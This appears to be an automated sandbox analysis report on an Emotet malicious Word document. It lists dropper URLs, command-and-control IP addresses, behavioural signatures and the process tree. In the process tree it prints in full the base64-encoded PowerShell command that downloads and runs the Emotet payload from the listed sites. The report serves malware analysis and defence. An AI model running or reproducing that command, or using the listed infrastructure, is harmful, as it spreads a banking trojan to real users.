Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    117s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    14/08/2020, 00:09

Sharing

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General

  • Target
    emotet_e2_36d38e224e4d9711b5753532010c6306d1a2f2c9a73bcefbb77c27b8e4efbadc_2020-08-14__000722._doc.doc
  • Size 231KB
  • Sample200814-65rfkexlye
  • SHA256 36d38e224e4d9711b5753532010c6306d1a2f2c9a73bcefbb77c27b8e4efbadc
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://agenciann.com/wp-admin/w_8_8sfn6v/
  • exe.dropper

    https://swingalgo.com/wp-content/5_rftsk_1vraz/
  • exe.dropper

    http://lifepartner.hk/wp-includes/b22fd_k_x2h9n0/
  • exe.dropper

    http://lt-pet.com/wp-admin/sb_vv_jud/
  • exe.dropper

    https://2.c8xtt.com/config.wool/q07p_6p9i_xa/

Extracted

Family

  • emotet

C2

  • 24.233.112.152:80

  • 69.30.203.214:8080

  • 192.210.135.126:8080

  • 47.144.21.12:443

  • 157.245.99.39:8080

  • 119.198.40.179:80

  • 62.75.141.82:80

  • 181.211.11.242:80

  • 167.86.90.214:8080

  • 95.213.236.64:8080

  • 87.106.139.101:8080

  • 109.74.5.95:8080

  • 142.105.151.124:443

  • 47.146.117.214:80

  • 185.94.252.104:443

  • 2.58.16.85:7080

  • 222.214.218.37:4143

  • 85.105.205.77:8080

  • 190.160.53.126:80

  • 107.185.211.16:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_36d38e224e4d9711b5753532010c6306d1a2f2c9a73bcefbb77c27b8e4efbadc_2020-08-14__000722._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1492
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABPAE4AQgBEAFAAdgBxAGsAPQAnAE8ATwBBAEoARwBpAHoAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAGAAVQBgAFIASQB0AHkAUABgAFIAbwB0AE8AQwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABZAFcAQwBJAE4AdgBvAGEAIAA9ACAAJwBVAHEAaABnACcAOwAkAE4ASABJAEsASABqAHMAdQA9ACcARABWAEMAUwBLAHMAZAB3ACcAOwAkAEcATQBMAEEAQQBzAHEAdwA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFkAVwBDAEkATgB2AG8AYQArACcALgBlAHgAZQAnADsAJABLAFEASQBDAEkAcABvAHEAPQAnAEoAQQBCAFkAVAB3AG8AYQAnADsAJABHAFcAUQBOAEgAcwB0AGcAPQAuACgAJwBuACcAKwAnAGUAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AVwBlAGIAYwBsAGkARQBuAFQAOwAkAEkASABTAEQARQB5AGoAZAA9ACcAaAB0AHQAcABzADoALwAvAGEAZwBlAG4AYwBpAGEAbgBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB3AF8AOABfADgAcwBmAG4ANgB2AC8AKgBoAHQAdABwAHMAOgAvAC8AcwB3AGkAbgBnAGEAbABnAG8ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA1AF8AcgBmAHQAcwBrAF8AMQB2AHIAYQB6AC8AKgBoAHQAdABwADoALwAvAGwAaQBmAGUAcABhAHIAdABuAGUAcgAuAGgAawAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGIAMgAyAGYAZABfAGsAXwB4ADIAaAA5AG4AMAAvACoAaAB0AHQAcAA6AC8ALwBsAHQALQBwAGUAdAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcwBiAF8AdgB2AF8AagB1AGQALwAqAGgAdAB0AHAAcwA6AC8ALwAyAC4AYwA4AHgAdAB0AC4AYwBvAG0ALwBjAG8AbgBmAGkAZwAuAHcAbwBvAGwALwBxADAANwBwAF8ANgBwADkAaQBfAHgAYQAvACcALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBGAE8ARwBSAHEAdQBrAD0AJwBHAE8AWQBHAEsAeAB6AHcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEIASQBPAFMAVgBnAGgAeQAgAGkAbgAgACQASQBIAFMARABFAHkAagBkACkAewB0AHIAeQB7ACQARwBXAFEATgBIAHMAdABnAC4AIgBkAG8AYABXAGAATgBMAG8AYQBkAEYASQBsAGUAIgAoACQAQgBJAE8AUwBWAGcAaAB5ACwAIAAkAEcATQBMAEEAQQBzAHEAdwApADsAJABSAEsAWgBTAFYAcgBwAGoAPQAnAFMARgBCAEcARABrAHkAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEcATQBMAEEAQQBzAHEAdwApAC4AIgBMAGUAYABOAGcAYABUAGgAIgAgAC0AZwBlACAAMwAzADYAOQAyACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEcATQBMAEEAQQBzAHEAdwApADsAJABEAFoAUgBIAFkAagBoAGIAPQAnAEMAUABEAFoAVwBnAHgAcAAnADsAYgByAGUAYQBrADsAJABDAEoAWABSAEgAdwBjAGYAPQAnAEEASwBPAEkAQwBmAHgAdAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABaAEQAQgBKAE4AcAB0AGgAPQAnAE8ARgBGAEEARwB1AGUAZgAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1692
    • C:\Users\Admin\AppData\Local\Temp\Uqhg.exe
      "C:\Users\Admin\AppData\Local\Temp\Uqhg.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1840
      • C:\Windows\SysWOW64\eventcreate\cleanmgr.exe
        "C:\Windows\SysWOW64\eventcreate\cleanmgr.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1572

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1492-0-0x000000000030B000-0x000000000030F000-memory.dmp
        Download

        memory/1492-2-0x00000000087E0000-0x00000000087E4000-memory.dmp
        Download

        memory/1492-4-0x0000000006E80000-0x0000000007080000-memory.dmp
        Download

        memory/1492-5-0x000000000AD50000-0x000000000AD54000-memory.dmp
        Download

        memory/1492-6-0x000000000BDD0000-0x000000000BDD4000-memory.dmp
        Download

        memory/1572-21-0x0000000000650000-0x000000000065C000-memory.dmp
        Download

        memory/1692-13-0x000000001B480000-0x000000001B481000-memory.dmp
        Download

        memory/1692-14-0x000000001C270000-0x000000001C271000-memory.dmp
        Download

        memory/1692-12-0x00000000025C0000-0x00000000025C1000-memory.dmp
        Download

        memory/1692-11-0x00000000026D0000-0x00000000026D1000-memory.dmp
        Download

        memory/1692-10-0x000000001AA90000-0x000000001AA91000-memory.dmp
        Download

        memory/1692-9-0x00000000023D0000-0x00000000023D1000-memory.dmp
        Download

        memory/1692-8-0x000007FEF22F0000-0x000007FEF2CDC000-memory.dmp
        Download

        memory/1840-18-0x0000000000290000-0x000000000029C000-memory.dmp
        Download

        memory/1992-22-0x000007FEF2A10000-0x000007FEF2C8A000-memory.dmp
        Download